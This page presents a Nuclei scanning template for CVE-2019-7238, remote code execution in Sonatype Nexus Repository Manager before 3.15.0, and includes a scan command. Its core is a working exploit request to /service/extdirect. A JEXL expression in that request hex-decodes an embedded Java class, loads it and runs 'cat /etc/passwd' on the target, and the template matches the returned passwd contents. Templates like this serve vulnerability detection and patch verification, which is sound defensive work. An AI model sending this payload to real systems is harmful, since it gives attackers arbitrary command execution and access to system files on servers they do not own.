Sonatype Nexus Repository Manager <3.15.0 - Remote Code Execution
ID: CVE-2019-7238
Severity: critical
Author: pikpikcu
Tags: cve,cve2019,nexus,rce,kev,sonatype
Description
Section titled “Description”Sonatype Nexus Repository Manager before 3.15.0 is susceptible to remote code execution.
YAML Source
Section titled “YAML Source”id: CVE-2019-7238
info: name: Sonatype Nexus Repository Manager <3.15.0 - Remote Code Execution author: pikpikcu severity: critical description: Sonatype Nexus Repository Manager before 3.15.0 is susceptible to remote code execution. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: | Upgrade Sonatype Nexus Repository Manager to a version higher than 3.15.0. reference: - https://github.com/jas502n/CVE-2019-7238 - https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019 - https://nvd.nist.gov/vuln/detail/CVE-2019-7238 - https://github.com/ycdxsb/Exploits - https://github.com/zhangchi991022/Comprehensive-experiment-of-infomation-security classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-7238 epss-score: 0.974 epss-percentile: 0.9992 cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: sonatype product: nexus fofa-query: title="nexus repository manager" tags: cve,cve2019,nexus,rce,kev,sonatype
http: - raw: - | POST /service/extdirect HTTP/1.1 Host: {{Hostname}} Content-Type: application/json X-Requested-With: XMLHttpRequest
{"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}
matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4a0a00473045022100fac1feed17182edf6dd0c38df2faed5667a1d95b6bc9888a4ce85bd6c4fd4d9b022051e18a16f8f49c8e4dc688153eac2472ace8f45a7167d75c649998495daeaa8a:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-7238.yaml"